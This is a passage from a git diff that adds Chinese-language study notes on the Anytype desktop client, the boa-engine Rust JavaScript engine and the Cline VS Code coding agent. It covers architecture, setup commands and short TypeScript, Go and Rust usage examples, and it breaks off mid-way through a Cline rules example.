| +| `src/ts/lib/api/` | 100+ gRPC 命令与 protobuf mapper | +| `src/scss/` | 与组件镜像的样式(支持 CSS nesting) | + +**它不是** 纯 Markdown 文件夹笔记(不像 Obsidian 直接编辑 .md);Canonical 数据在中间层对象图里,导出/备份走官方导出或 gRPC API。 + +--- + +## 安装与第一次使用(用户向) + +1. 从 [download.anytype.io](https://download.anytype.io) 或 [GitHub Releases](https://github.com/anyproto/anytype-ts/releases) 安装桌面版。 +2. 创建 **Any-ID**(本地密钥链保存助记词/恢复码——丢失无法找回)。 +3. 新建 **Space**,在 Space 里 `+` 创建 Page 或 Task。 +4. 打开 Page,输入 `/` 插入块类型(文本、待办、分隔线、嵌入 Set 等)。 +5. 在类型库中查看 **Types**,理解 Task 与 Page 的 Relation 差异;建一个 Set,筛选 `Type = Task` 且 `Status = To-do`,切换 Board 视图。 + +### 从源码跑开发版(开发者向) + +```bash +git clone https://github.com/anyproto/anytype-ts.git && cd anytype-ts +bun install +./update.sh macos-latest arm # 或 ubuntu-latest / windows-latest + arm|amd +cd .. && git clone https://github.com/anyproto/anytype-heart.git && cd anytype-heart +make install-dev-js CLIENT_DESKTOP_PATH=../anytype-ts && cd ../anytype-ts +bun run update:locale +bun run start:dev # 热重载 Electron;Web 模式: bun run start:web +``` + +环境变量:`SERVER_PORT` 指定 Vite 端口;`ELECTRON_SKIP_NOTARIZE=1` 可在本地跳过 macOS 公证打包。 + +--- + +## 代码示例 1:Block 模型 — 块树的最小单元 + +摘自 `src/ts/model/block.ts` 的设计(简化注释,保留结构)。每个块既有通用字段,也有按 `type` 实例化的 `ContentModel`: + +```typescript +// src/ts/model/block.ts — 概念简化 +class Block implements I.Block { + id = ''; + parentId = ''; + type: I.BlockType = I.BlockType.Empty; + childrenIds: string[] = []; + layout: I.ObjectLayout = I.ObjectLayout.Note; + hAlign: I.BlockHAlign = I.BlockHAlign.Left; + bgColor = ''; + fields: any = {}; + content: any = {}; + + constructor(props: I.Block) { + this.id = String(props.id || ''); + this.parentId = String(props.parentId || ''); + this.type = props.type; + this.childrenIds = props.childrenIds || []; + // 按块类型挂载不同 Content 类(Text、File、Link、Layout…) + if (ContentModel[this.type]) { + this.content = new ContentModel[this.type](props.content); + } + makeObservable(this, { + bgColor: observable, + content: observable, + fields: observable, + }); + } + + canHaveChildren(): boolean { + return this.isLayout() || this.isTextQuote() /* … */; + } + + isText(): boolean { + return this.type === I.BlockType.Text; + } +} +``` + +**阅读要点:** + +- 文档不是字符串,而是 **Block 森林**;编辑器操作本质是 `BlockCreate` / `BlockListDelete` 等 gRPC 命令改树。 +- `childrenIds` 决定大纲层级;Layout 块把页面分成多列,类似 Notion 分栏。 +- MobX `observable` 让块内容变化时,对应 `component/block/text.tsx` 等组件自动刷新。 + +--- + +## 代码示例 2:BlockStore — 内存中的块树索引 + +`src/ts/store/block.ts` 的 `BlockStore` 为所有「当前打开的对象」维护多块 Map: + +```typescript +// src/ts/store/block.ts — 结构摘录 +class BlockStore { + /** rootId -> blockId -> Block 实例 */ + public blockMap: Map> = new Map(); + + /** rootId -> blockId -> { id, childrenIds, parentId } */ + public treeMap: Map> = new Map(); + + getLeaf(rootId: string, id: string): I.Block | undefined { + return this.blockMap.get(rootId)?.get(id); + } + + // profile / spaceview / widgets 等系统对象 id 也挂在本 store +} +``` + +编辑器页 `EditorPage`(`component/editor/page.tsx`)启动时会 `S.Block.getLeaf(rootId, rootId)` 取根块,再递归渲染子块。拖拽、Enter 分裂块、`/命令` 菜单最终都调用 `lib/api/command.ts` 里的 `C.BlockCreate`、`C.BlockListMove` 等,成功后 middleware 推事件,store 合并增量。 + +**阅读要点:** + +- `rootId` 通常等于 **Object id**(整页/整笔记的对象 id)。 +- 同一 Space 打开多个页签时,store 按 rootId 分区,避免块 id 冲突。 +- 改块不要直接 mutate 本地 Map 绕过命令层,否则与 heart 持久化状态不一致。 + +--- + +## 代码示例 3:Dataview 视图配置(概念 JSON) + +Dataview 块的内容(`ContentDataview`)在 TypeScript 接口里大致如下;实际对象存在 heart,前端通过 subscription 拉记录列表: + +```typescript +// 概念结构 — 对应 I.ContentDataview / I.View +const taskBoardView = { + sources: [''], + viewId: 'view-board-1', + isCollection: false, + views: [ + { + id: 'view-board-1', + name: '按状态分栏', + type: 'Board', // Grid | List | Gallery | Calendar | Graph + groupRelationKey: 'status', + filters: [ + { + relationKey: 'type', + condition: 'Equal', + value: '', + }, + ], + sorts: [{ relationKey: 'dueDate', type: 'Asc' }], + relations: [ + { relationKey: 'name', isVisible: true }, + { relationKey: 'status', isVisible: true }, + { relationKey: 'dueDate', isVisible: true }, + ], + }, + ], +}; +``` + +`lib/dataview.ts` 的 `viewGetRelations` 会把 Type schema 里的 Relation 与 View 里可见列合并;`loadData` 再拼 filters/sorts 调用 `U.Subscription.subscribe` 向后端要行数据。理解这一点后,就看懂「为什么改 Type 的 Relation 会影响所有 Set 视图列」。 + +--- + +## 代码示例 4:gRPC 列出 Space(CLI 侧) + +第三方集成可走 gRPC(官方未承诺稳定 public API,但桌面与 [anytype-cli](https://github.com/anyproto/anytype-cli) 均依赖此通道)。列出 Space 的核心是对 tech space 做 `ObjectSearch`,过滤 `spaceView` layout: + +```go +// anytype-cli/core/space.go — 思路摘录 +req := &pb.RpcObjectSearchRequest{ + SpaceId: techSpaceId, + Filters: []*model.BlockContentDataviewFilter{ + { + RelationKey: "resolvedLayout", + Condition: model.BlockContentDataviewFilter_Equal, + Value: pbtypes.Int64(int64(model.ObjectType_spaceView)), + }, + }, + Keys: []string{"targetSpaceId", "name", "spaceLocalStatus"}, +} +resp, err := client.ObjectSearch(ctx, req) +``` + +Rust 生态也有 [anytype-rpc](https://docs.rs/anytype-rpc) 封装同一套 proto。若只做只读分析,HTTP API + 导出 JSON 更稳;要做块级自动化、Chat、File 操作,才需要 gRPC + 本地 helper。 + +--- + +## 与相近工具对比(简表) + +| 维度 | Anytype | Notion | Logseq | Obsidian | +|------|---------|--------|--------|----------| +| 本地优先 | ✅ heart 本地 | ❌ 云端为主 | ✅ 本地 md | ✅ 本地 md | +| E2E 加密 | ✅ | ❌ | ❌(自行加密盘) | ❌ | +| 块模型 | ✅ 强类型 Block | ✅ Block | ✅ 大纲块 | ⚠️ 需插件 | +| 数据库视图 | ✅ Set/Dataview | ✅ Database | ⚠️ query 块 | ⚠️ 插件/Dataview | +| 开源客户端 | ✅ anytype-ts | ❌ | ✅ | ❌ 闭源免费 | +| P2P 同步 | ✅ 可选 | ❌ | ❌ | ❌ | + +Anytype 更接近 **「加密本地 Notion + 对象图 sync」**;若你只想 plain-text Git 友好,Logseq/Obsidian 更轻;若团队已 all-in 云端协作,Notion 仍省心。 + +--- + +## 推荐学习路径(7 天) + +| 天 | 动作 | 目标 | +|----|------|------| +| 1 | 只用 Page + 文本/待办块 | 熟悉 `/` 命令与块拖拽 | +| 2 | 创建一个 Task Type,改 Relation | 理解 Type ≠ Template 文件 | +| 3 | 建 Set,切 Grid / Board | 体验 Dataview 多视图 | +| 4 | 用 Graph 视图看 Object 关系 | 理解 link 与 relation 混用 | +| 5 | 读 `model/block.ts` + `store/block.ts` | 对齐源码词汇 | +| 6 | 跑 `bun run start:dev`,改一处 translate 文案 | 走通 Electron 开发环 | +| 7 | 读 `docs/src/ts/component/block/README.md` | 掌握 19 种块的分工 | + +--- + +## 常见问题 + +**Q:Anytype 和 Anytype-ts 是什么关系?** +`anytype-ts` 是桌面 UI 壳;数据与同步在 `anytype-heart`。发布安装包 = 打包好的 helper + Electron 壳。 + +**Q:数据存在哪?** +在 OS 用户目录下的 Anytype 数据路径(由 helper 管理 SQLite/对象存储),具体路径因平台而异;备份应使用应用内导出或官方备份流程,不要只拷贝 ts 仓库。 + +**Q:能否像 Markdown 一样用 Git 管理?** +Canonical 不是 .md 文件树;版本历史依赖 Anytype 自身与导出。需要 Git diff 时,定期 Export Markdown 到单独目录更现实。 + +**Q:gRPC API 能给生产用吗?** +社区与 CLI 在用,但官方声明 **未作为稳定第三方 API**;集成前评估版本锁定与 breaking change 风险。 + +**Q:和 Logseq 块引用有何不同?** +Logseq 块引用是 `((uuid))` 指向大纲行;Anytype 块 id 也在树内,但 **Object 级链接 + Relation** 才是跨页聚合的主力(Set 筛选)。 + +--- + +## 延伸资源 + +- 官方文档:[doc.anytype.io](https://doc.anytype.io) +- 社区论坛:[community.anytype.io](https://community.anytype.io) +- 中间层引擎:[github.com/anyproto/anytype-heart](https://github.com/anyproto/anytype-heart) +- 仓库内架构说明:[CLAUDE.md](https://github.com/anyproto/anytype-ts/blob/develop/CLAUDE.md) +- 块系统文档:`docs/src/ts/component/block/README.md`(克隆仓库后本地阅读) +- AI Agents 扩展:[AGENTS.md](https://github.com/anyproto/anytype-ts/blob/develop/AGENTS.md) + +--- + +## 小结 + +Anytype 把 **块编辑器**、**类型化对象图** 和 **本地加密存储** 绑在同一套引擎上:UI 层(anytype-ts)负责把 Block 树和 Dataview 视图画出来;heart 负责持久化与 P2P 同步。入门先玩 Space/Page/Set 三角;读源码从 `Block` 模型与 `BlockStore` 出发,再追 gRPC 命令与 Dataview subscription。它适合想要 **Notion 式灵活布局**、又坚持 **数据留在本机且加密** 的用户——也是 study 笔记库里「本地优先块编辑器」路线的代表项目。 diff --git a/src/content/docs/projects/boa-engine.md b/src/content/docs/projects/boa-engine.md new file mode 100644 index 000000000..f6078f653 --- /dev/null +++ b/src/content/docs/projects/boa-engine.md @@ -0,0 +1,302 @@ +--- +title: boa-engine — 用 Rust 写出的可嵌入 JavaScript 引擎 +来源: 'https://github.com/boa-dev/boa' +日期: '2026-06-13' +子分类: 语言运行时 +分类: 编译器 +难度: '高级' +provenance: 'pipeline-v3' +--- + +## 日常类比:把「翻译官 + 小法庭」塞进你的 Rust 程序 + +想象你正在开发一款 Rust 写的桌面工具,希望用户能用 JavaScript 写插件——比如自定义数据处理脚本、自动化宏、主题逻辑。你不能要求每个用户都装 Node.js,也不想在 C++ 里和 V8 的构建系统搏斗。 + +这时你需要的是**一位住在程序内部的翻译官**: + +- 用户写 JavaScript(外语) +- 引擎先**词法分析 + 语法分析**,把源码变成结构化的语法树(AST) +- 再**编译成字节码**,交给内部虚拟机逐条执行 +- 执行过程中创建的对象由**垃圾回收器(GC)** 自动清理 + +**Boa**(🦀,名字来自一种无毒蛇)就是这样一位「Rust 国籍的 JS 翻译官」。它把 ECMAScript 规范里定义的 JavaScript 语义,用 Rust 实现成可嵌入的引擎 crate——`boa_engine`。项目地址:[boa-dev/boa](https://github.com/boa-dev/boa),MIT 开源,GitHub 约 7k+ Stars(2026 年中),最新稳定版 v0.21.x,Test262 一致性约 **94%**。 + +和 Chrome 里的 V8 不同,Boa 不追求「跑全世界网页最快」,而追求:**在 Rust 生态里安全、可控地嵌入 JS**,并能编译到 WebAssembly 在浏览器里跑 demo。 + +--- + +## 解决什么问题 + +### 痛点 1:Rust 项目需要脚本层,但不想绑 Node 或 C++ 引擎 + +游戏引擎、CLI 工具、区块链节点、配置 DSL……很多 Rust 程序需要「让用户写点逻辑」,却不想: + +- 拉起整个 Node.js 进程(体积、启动、部署) +- 链接 V8 / SpiderMonkey(C++ 工具链、FFI 边界、内存安全顾虑) + +Boa 是纯 Rust crate,`Cargo.toml` 加一行依赖即可嵌入,类型系统和所有权模型与宿主程序一致。 + +### 痛点 2:学习 / 研究 ECMAScript 引擎的实现路径 + +Boa 把 lexer、parser、AST、bytecompiler、VM、GC 拆成独立 crate(`boa_parser`、`boa_ast`、`boa_gc` 等),代码相对 V8 百万行 C++ 更易读。适合: + +- 理解「JS 引擎到底在干什么」 +- 做语言实验、教学、Conformance 测试(Test262) +- 为 Rust 生态贡献 Temporal、Intl 等新标准实现 + +### 痛点 3:WASM 场景下的轻量 JS 运行时 + +Boa 可以编译为 WebAssembly,在网页里跑 [live playground](https://boajs.dev/)——证明「Rust 写的引擎也能在浏览器里解释 JS」,适合 sandbox、在线 REPL、教育工具。 + +### Boa 明确不擅长什么 + +| 场景 | 说明 | +| --- | --- | +| 替代 Chrome / Node 的生产 JS 运行时 | V8 + JIT 在峰值性能上仍领先数个数量级 | +| 完整浏览器环境 | DOM、网络栈需配合 `boa_runtime` 或自建,不是开箱即用 | +| 100% ES 特性首日覆盖 | 仍在追赶 Temporal、部分 Intl 等;但 v0.21 已与主流浏览器 conformance 对齐 | + +--- + +## 核心概念 + +### 1. ECMAScript 规范:引擎的「法律条文」 + +JavaScript 在标准组织 TC39 下以 **ECMAScript** 规范形式发布(ES2015、ES2020……)。引擎不是「实现 JS 作者觉得对的语义」,而是**尽量通过 Test262 测试套件**,证明行为与规范一致。 + +Boa 团队持续跑 Test262,v0.21 从约 89.9% 提升到 **94.12%**,并实现了 **Temporal**(新日期时间 API)等重大特性。选 Boa 时,应查 [官方 conformance 页面](https://boajs.dev/) 确认你需要的语法/API 是否已覆盖。 + +### 2. AST(抽象语法树):源码的结构化表示 + +JS 源码是文本;引擎不能直接「执行字符串」。流程是: + +``` +源码 → Lexer(词法)→ Token 流 → Parser(语法)→ AST → Bytecompiler → 字节码 → VM 执行 +``` + +`boa_ast` crate 定义符合 ECMAScript 语法的 AST 节点(表达式、语句、函数声明等)。AST 可被优化、序列化(feature `serde`),也是工具链(格式化、静态分析)的入口。 + +日常类比:AST 像**法律条文的目录树**——「第 3 章第 2 节是一个 if 语句,条件下挂两个分支」,而不是一整段无法索引的散文。 + +### 3. GC(垃圾回收):自动管理 JS 堆对象 + +JavaScript 程序员很少手动 `free()`;引擎必须在堆上分配对象、数组、闭包,并在「没人再引用」时回收。Boa 的 `boa_gc` 实现带 **Trace / Finalize** trait 的追踪式 GC: + +- 引擎内对象必须实现 `Trace`,让 GC 知道「还有谁指着这块内存」 +- Rust 侧注册给 JS 的 native 状态若被闭包捕获,也要参与 trace,否则可能泄漏或悬垂 + +这与 Rust 的所有权**在边界处交汇**:宿主 Rust 数据结构通过 `GcRefCell` 等包装后,才能安全地与 JS 对象共存。 + +### 4. Context:一次 JS「会话」的宇宙 + +`Context` 是执行 JS 的核心结构,持有: + +- 全局对象、Realm(类似规范中的 Realm Record) +- 内置对象(`Object`、`Array`、`Promise`……) +- 模块加载、Job 队列(微任务 / 宏任务) + +每次 `context.eval(...)` 都在这个宇宙里解析并运行代码。 + +### 5. Crate 分工(模块化架构) + +| Crate | 职责 | +| --- | --- | +| `boa_parser` | 词法 + 语法分析 | +| `boa_ast` | AST 定义 | +| `boa_engine` | 内置对象、Context、字节码编译器、VM | +| `boa_gc` | 垃圾回收 | +| `boa_interner` / `boa_string` | 字符串驻留与 ECMAScript 字符串 | +| `boa_runtime` | Console、Timer 等 Web API 子集 | +| `boa_cli` | REPL 与命令行 | + +--- + +## 代码示例 + +### 示例 1:最小 embed —— 在 Rust 里 eval 一段 JS + +来自官方 README / docs.rs 的经典例子:演示 `Context` + `Source` + 动态类型拼接。 + +```rust +use boa_engine::{Context, JsResult, Source}; + +fn main() -> JsResult<()> { + let js_code = r#" + let two = 1 + 1; + let definitely_not_four = two + "2"; + + definitely_not_four + "#; + + let mut context = Context::default(); + let result = context.eval(Source::from_bytes(js_code))?; + + // JS 里 2 + "2" 触发 ToString,结果是 "22" + println!("{}", result.display()); + + Ok(()) +} +``` + +要点: + +- `Source::from_bytes` 包装待执行源码(也支持文件名等元数据,便于 stack trace) +- `eval` 返回 `JsResult`——JS 异常会映射为 Rust 的 `Err` +- `JsValue` 是 JS 值的 Rust 侧表示(number、string、object……) + +### 示例 2:注册 Rust 原生函数给 JS 调用 + +嵌入引擎的常见需求:让 JS 调用宿主能力(读文件、调 GPU、访问数据库)。Boa 通过 `NativeFunction` 暴露 Rust 函数。 + +```rust +use boa_engine::{ + Context, JsResult, JsValue, js_string, + native_function::NativeFunction, +}; + +fn main() -> JsResult<()> { + let mut context = Context::default(); + + // 把 Rust 闭包注册为全局函数 double(x) + context.register_global_callable( + js_string!("double"), + 1, // arity:形参个数 + NativeFunction::from_fn_ptr(|_this, args, ctx| { + let n = args.get_or_undefined(0).to_number(ctx)?; + Ok(JsValue::from(n * 2.0)) + }), + )?; + + let result = context.eval( + boa_engine::Source::from_bytes("double(21)"), + )?; + + assert_eq!(result.to_number(&mut context)?, 42.0); + Ok(()) +} +``` + +要点: + +- `register_global_callable` 在全局对象上创建可调用的 JS 函数 +- 回调签名 `(&JsValue, &[JsValue], &mut Context) -> JsResult` 对应 JS 的 `this`、参数列表、引擎上下文 +- 还有 `from_copy_closure`、`from_async_fn` 等变体,支持捕获 Rust 状态与 async/Promise 互操作 + +### 示例 3(可选):REPL 与 CLI + +安装 `boa_cli` 后可直接体验引擎,无需写 Rust 宿主: + +```bash +cargo install boa_cli +boa +# 进入交互式 REPL,输入 JS 表达式即时求值 +``` + +--- + +## 与 V8 / SpiderMonkey 的对比 + +三者都能执行 JavaScript,但**设计目标、实现语言、性能曲线**完全不同。 + +### 一句话定位 + +| 引擎 | 语言 | 主要宿主 | 典型目标 | +| --- | --- | --- | --- | +| **V8** | C++ | Chrome、Node.js、Deno(部分) | 生产级峰值性能 + JIT + 完整 ES | +| **SpiderMonkey** | C++ / Rust(组件化迁移中) | Firefox | 浏览器标准实现 + 长期演进 | +| **Boa** | Rust | 嵌入式工具、WASM、研究 | 安全嵌入 + 规范学习 + 中等 conformance | + +### 多维度对比 + +| 维度 | V8 | SpiderMonkey | Boa | +| --- | --- | --- | --- | +| **性能** | 顶级:JIT(Ignition + TurboFan)、内联缓存、优化编译 | 强:IonMonkey 等,Firefox 级优化 | 解释器 + 字节码为主,**无生产级 JIT**,峰值远慢于 V8 | +| **嵌入难度(Rust 项目)** | 高:需 C++ 构建、复杂 ABI | 高:C API,Rust 需 FFI 层 | **低**:原生 crate,类型安全互操作 | +| **内存安全** | C++ 手动管理 + 引擎内 GC | 同左 | **Rust 保证 + boa_gc**,减少整类内存 bug | +| **体积** | 大(数十 MB 级运行时) | 大 | 相对小,适合 WASM / 工具内嵌 | +| **Test262 / ES 覆盖** | 标杆,驱动 Web 互操作 | 标杆 | ~94%(v0.21),接近浏览器但仍有缺口 | +| **生态** | Node/npm 全生态 | 主要服务 Firefox | Rust + 实验性 WebAPI(`boa_runtime`) | +| **适用场景** | 服务器、浏览器、桌面 Electron | 浏览器 | Rust 插件系统、教学、Conformance 实验、WASM demo | + +### 和 [[quickjs]] 的横向关系 + +若你已读过 QuickJS 笔记:QuickJS 用 **C** 实现、体积极小、适合 IoT;Boa 用 **Rust** 实现、强调类型安全与模块化 crate,Conformance 更高、架构更「现代引擎」。选型上: + +- **C 项目 + 极小体积** → QuickJS +- **Rust 项目 + 不想 FFI** → Boa +- **生产性能 / Node 兼容** → V8(通过 Deno、Node 或 `rusty_v8` 等绑定) + +--- + +## 执行流水线(从源码到结果) + +```text +┌─────────────┐ ┌─────────────┐ ┌──────────────┐ ┌─────────────┐ +│ JS Source │ -> │ boa_parser │ -> │ boa_ast │ -> │ bytecompiler│ +│ (字符串) │ │ Lex + Parse │ │ 语法树 │ │ 字节码 │ +└─────────────┘ └─────────────┘ └──────────────┘ └──────┬──────┘ + │ + v +┌─────────────┐ ┌─────────────┐ ┌──────────────┐ ┌─────────────┐ +│ JsValue │ <- │ builtins │ <- │ boa_engine │ <- │ VM │ +│ 返回宿主 │ │ Object/... │ │ Context │ │ 逐条执行 │ +└─────────────┘ └─────────────┘ └──────────────┘ └─────────────┘ + │ + v + ┌──────────────┐ + │ boa_gc │ + │ 回收堆对象 │ + └──────────────┘ +``` + +理解这条链,就理解了「为什么改 parser 不会直接改 VM」——层与层之间通过 AST 和字节码解耦。 + +--- + +## 特性开关(Cargo Features) + +在 `Cargo.toml` 中可按需启用: + +```toml +[dependencies] +boa_engine = { version = "0.21", features = ["intl"] } +``` + +| Feature | 作用 | +| --- | --- | +| `intl` | ECMA-402 `Intl` 国际化 API(依赖 ICU 数据) | +| `serde` | AST 序列化 / 反序列化 | +| `profiler` | 内置性能分析(偏内部开发) | + +--- + +## 何时选用 Boa + +**适合:** + +- Rust 应用需要 JS 插件或配置脚本,且团队以 Rust 为主 +- 学习 ECMAScript 引擎分层实现(parser / VM / GC) +- 需要 WASM 可移植的 JS 解释器 demo +- 参与开源:Temporal、Test262、Rust 互操作等方向 + +**不适合:** + +- 替代 Node.js 跑高 QPS 服务端 JS +- 需要最新 stage-3 提案即刻可用且无人维护 fork +- 对延迟极度敏感的热路径(应直接写 Rust 或绑 V8) + +--- + +## 进一步阅读 + +- 官网与 playground:[https://boajs.dev/](https://boajs.dev/) +- API 文档:[docs.rs/boa_engine](https://docs.rs/boa_engine/latest/boa_engine/) +- v0.21 发布说明(Temporal、94% Test262):[Boa release v0.21](https://boajs.dev/blog/2025/10/22/boa-release-21) +- 示例 crate:[boa-dev/boa/examples](https://github.com/boa-dev/boa/tree/main/examples) +- 相关笔记:[[quickjs]](C 轻量引擎)、[[swc]](Rust 生态的 JS 编译器前端,不执行 JS) + +--- + +## 小结 + +**boa-engine** 是用 Rust 从零搭建的 ECMAScript 引擎:通过 **规范驱动** 的开发(Test262)、**AST + 字节码 VM** 的经典架构、以及 **boa_gc** 管理的堆对象,让 Rust 程序能安全嵌入 JavaScript。它不会取代 V8 或 SpiderMonkey 在浏览器与 Node 中的地位,但在「Rust 宿主 + 脚本层 + 可Teaching 的引擎源码」这一 niche 里,是目前生态中最直接、最干净的选择之一。 diff --git a/src/content/docs/projects/browser-use.md b/src/content/docs/projects/browser-use.md index 2a031b8d9..b03572072 100644 --- a/src/content/docs/projects/browser-use.md +++ b/src/content/docs/projects/browser-use.md @@ -3,7 +3,7 @@ title: browser-use — 用自然语言让 AI Agent 操控浏览器 来源: 'https://github.com/browser-use/browser-use' 日期: 2026-06-13 子分类: AI与自动化 -分类: AI框架 +分类: 其他 难度: 高级 provenance: pipeline-v3 season: 6 diff --git a/src/content/docs/projects/cline.md b/src/content/docs/projects/cline.md new file mode 100644 index 000000000..9bdfe4b89 --- /dev/null +++ b/src/content/docs/projects/cline.md @@ -0,0 +1,290 @@ +--- +title: Cline — VS Code 自主编码代理 +来源: https://github.com/cline/cline +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 日常类比:带审批流程的「实习工程师」 + +想象你带一位能力很强的实习生进项目组。你说:「给登录接口加 rate limit,跑测试,有问题自己修。」实习生会自己翻代码、改文件、开终端跑命令、必要时打开浏览器点页面验证——但**每做一步都会把方案递到你面前**:「我准备改这三个文件,并执行 `npm test`,可以吗?」你点批准,他才动;你点拒绝或改一句指示,他就换方案。 + +**Cline 就是住在 [[vscode]] 侧边栏里的这位实习生。** 它是开源(Apache 2.0)的自主编码代理,在编辑器里读项目结构、写 diff、跑 shell、连 MCP 工具、甚至驱动浏览器做端到端验证。与「全自动黑盒脚本」不同,Cline 默认 **human-in-the-loop(人在回路)**:文件变更和终端命令都要经你审批(也可对信任操作开 auto-approve)。官方仓库:[cline/cline](https://github.com/cline/cline);扩展可在 [VS Code Marketplace](https://marketplace.visualstudio.com/items?itemName=saoudrizwan.claude-dev) 安装。除 VS Code 外,项目还提供 CLI、SDK、Kanban 等多端形态,但零基础最顺的路径仍是 **装扩展 → 配 API Key → 侧边栏对话**。 + +--- + +## 这个项目解决什么问题 + +### 痛点 1:聊天 AI 和「真的改仓库」之间缺一层编排 + +网页 ChatGPT 能写代码片段,但你要自己复制、找路径、跑测试。Cline 把 **理解仓库 → 多文件编辑 → 执行命令 → 读 linter 输出 → 再修** 串成一条 agent loop,且每一步在 VS Code diff 视图里可见。 + +### 痛点 2:一次性改太多,回滚困难 + +Cline 在编辑过程中维护 **Checkpoints(检查点)**,可一键撤销 agent 的改动序列,不必手动 `git checkout -- .` 猜哪次改坏了。 + +### 痛点 3:每个团队的规范不同 + +通过 **`.clinerules/`** 目录(及兼容的 `AGENTS.md`、`.cursorrules` 等),把编码标准、测试要求、架构约定写进仓库,Cline 启动任务时会自动注入这些规则——类似给实习生一份 onboarding 手册。 + +### 痛点 4:模型和工具被单一厂商绑死 + +Cline 采用 **BYOK(Bring Your Own Key)**:Anthropic、OpenAI、Google Gemini、OpenRouter、AWS Bedrock、Azure、本地 Ollama / LM Studio 等均可配置,扩展本身不按 token 加价(你直接向模型商付费)。 + +--- + +## 核心概念拆解 + +### 1. Agent Loop(代理循环) + +你发自然语言任务 → Cline 规划子步骤 → 调用内置工具(读文件、写文件、执行终端、搜索代码、浏览器操作等)→ 把结果反馈给模型 → 循环直到 `attempt_completion` 或你叫停。VS Code 1.93+ 的 **Shell Integration** 让 Cline 能在集成终端里跑命令并实时读 stdout/stderr,而不是 blind exec。 + +### 2. Plan 模式 vs Act 模式 + +官方 **Plan & Act** 双模式把「想」和「做」分开: + +| 模式 | 能做什么 | 不能做什么 | +|------|----------|------------| +| **Plan** | 读代码、搜索、讨论架构、写计划文档 | 改文件、跑命令 | +| **Act** | 在 Plan 上下文基础上编辑、执行、测试 | — | + +典型流程:先在 Plan 里摸清范围和边界 → 切 Act 实现。复杂任务可用 `/deep-planning` 做更长程分析。还可为两种模式配置**不同模型**(例如 Plan 用强推理模型,Act 用更快便宜的模型)。 + +### 3. 审批与 Auto-Approve + +每个 `write_file`、`execute_command`、MCP 工具调用都会弹出批准 UI。熟悉后可对只读类或固定测试命令开启 auto-approve,但新手建议保持默认——这是 Cline 相对「完全自主脚本」的安全阀。 + +### 4. Checkpoints + +Act 模式下的大改前可启用 checkpoint;不满意从时间线回滚 agent 引入的变更,再换提示重试,比依赖单次 Git commit 粒度更细。 + +### 5. Linter / Compiler 感知 + +Cline 会监视 TypeScript、ESLint 等诊断信息;模型看到报错后会尝试补 import、修类型、改语法——类似实习生改完代码看一眼 Problems 面板。 + +### 6. Computer Use / 浏览器 + +支持 **Computer Use** 能力时,Cline 可启动浏览器、点击、输入、截图、读 console,用于 UI 调试或简单 E2E——适合「复现页面上的报错」这类任务。 + +### 7. MCP(Model Context Protocol) + +MCP 像 **AI 的 USB-C 口**:通过标准协议把数据库、GitHub、搜索、文件系统等外部能力接进 agent。配置写在 MCP 设置 JSON(CLI 侧常见路径概念为 `.cline/mcp.json`;扩展内通过 MCP Servers 面板编辑)。传输方式包括 **stdio**(本地进程)和 **HTTP/SSE**(远程服务)。扩展内置 **MCP Marketplace**,可一键安装社区服务器。 + +### 8. `.clinerules/` 项目规则 + +在项目根建 `.clinerules/`,里面放多个 `.md` / `.txt`,Cline 合并后作为系统级约束。文件可用 YAML frontmatter 的 `paths` 字段做 **按 glob 激活**(例如只在 `src/**/*.ts` 时加载前端规范)。团队把规则 commit 进 Git,人人同一套 agent 行为。 + +### 9. 多产品形态(了解即可) + +| 产品 | 用途 | +|------|------| +| VS Code 扩展 | 日常 GUI 开发 | +| CLI (`npm i -g cline`) | 终端、CI、脚本化 | +| SDK | 自建 agent / 插件 | +| Kanban | 多 agent 任务看板 | + +零基础先把扩展用熟,再考虑 CLI 自动化。 + +### 10. 与 Aider、Cursor、Copilot 的定位差 + +| 维度 | Cline | [[aider]] | Cursor / Copilot | +|------|-------|-----------|------------------| +| 运行位置 | VS Code 侧边栏 | 终端 | IDE 内置 | +| 自主多步 | 强,带逐步审批 | 强,Git 为中心 | 视功能而定 | +| 规则文件 | `.clinerules/` | `.aider.conf.yml` | 各产品规则 | +| MCP | 一等公民 + Marketplace | 非核心 | Cursor 也支持 MCP | +| 开源 | Apache 2.0 | Apache 2.0 | 多为商业 | + +三者可并存:例如终端里 [[aider]] 做 Git 原子提交,VS Code 里 Cline 做带浏览器验证的大功能。 + +--- + +## 安装与首次配置 + +1. 在 VS Code 扩展市场搜索 **Cline**(发布者 saoudrizwan)并安装。 +2. 打开侧边栏 Cline 面板,在 Settings 里选择 **API Provider**(Anthropic / OpenAI / OpenRouter 等)并填入 API Key。 +3. 用 `File → Open Folder` 打开一个 **Git 仓库**(便于你自己用 Git 做最终审查;Cline checkpoint 不能替代团队 PR 流程)。 +4. 建议默认从 **Plan 模式** 开始第一次对话。 + +```bash +# 可选:全局 CLI(与扩展共用 agent 核心) +npm i -g cline + +# 查看 CLI 帮助 +cline --help +``` + +--- + +## 代码示例 1:Plan → Act 完成一个小功能 + +场景:在一个 Express 项目里新增 `GET /health`,返回 `{ status: "ok", uptime: number }`。 + +**Step 1 — Plan 模式(只读)** + +在 Cline 输入: + +```text +@src/server.ts @package.json +我想加 GET /health,返回 JSON:status 和 process.uptime()。 +先别改文件:列出要动哪些文件、是否需要新测试、项目里现有的路由风格。 +``` + +Cline 会搜索/阅读你 @ 提到的文件,给出计划。你确认无误后点击 **Switch to Act**(或输入切换 Act)。 + +**Step 2 — Act 模式(执行)** + +```text +按刚才的计划实现。写完在 package.json 里找 test 脚本并运行; +如果有 eslint/tsc 报错请自行修复。完成后简短总结 diff。 +``` + +你会依次看到类似审批项: + +```text +[Approve] Write file: src/routes/health.ts +[Approve] Execute: npm test +[Approve] Write file: tests/health.test.ts (若测试失败后的修复) +``` + +在 VS Code 内置 diff 里审查每处修改;若整条路径不对,用 **Reject** 并补充:「测试请用 vitest,不要 jest」。全部完成后 Cline 会 `attempt_completion` 并总结变更。 + +--- + +## 代码示例 2:`.clinerules/` 与 MCP 配置 + +### 2a. 团队编码规则 + +```text +my-app/ +├── .clinerules/ +│ ├── 01-general.md +│ ├── 02-typescript.md +│ └── 03-testing.md +├── src/ +└── package.json +``` + +`01-general.md`: + +```markdown +# 通用约定 + +- 所有新代码必须有对应测试。 +- 不要删除或弱化现有 eslint-disable,除非同时修复根因。 +- 提交前必须能本地通过 `npm run lint` 与 `npm test`。 +- 未经我明确批准,不要执行 deploy 或访问 production 环境变量。 +``` + +`02-typescript.md`(带路径条件,仅编辑 TS 时生效): + +```yaml +--- +paths: + - "src/**/*.ts" + - 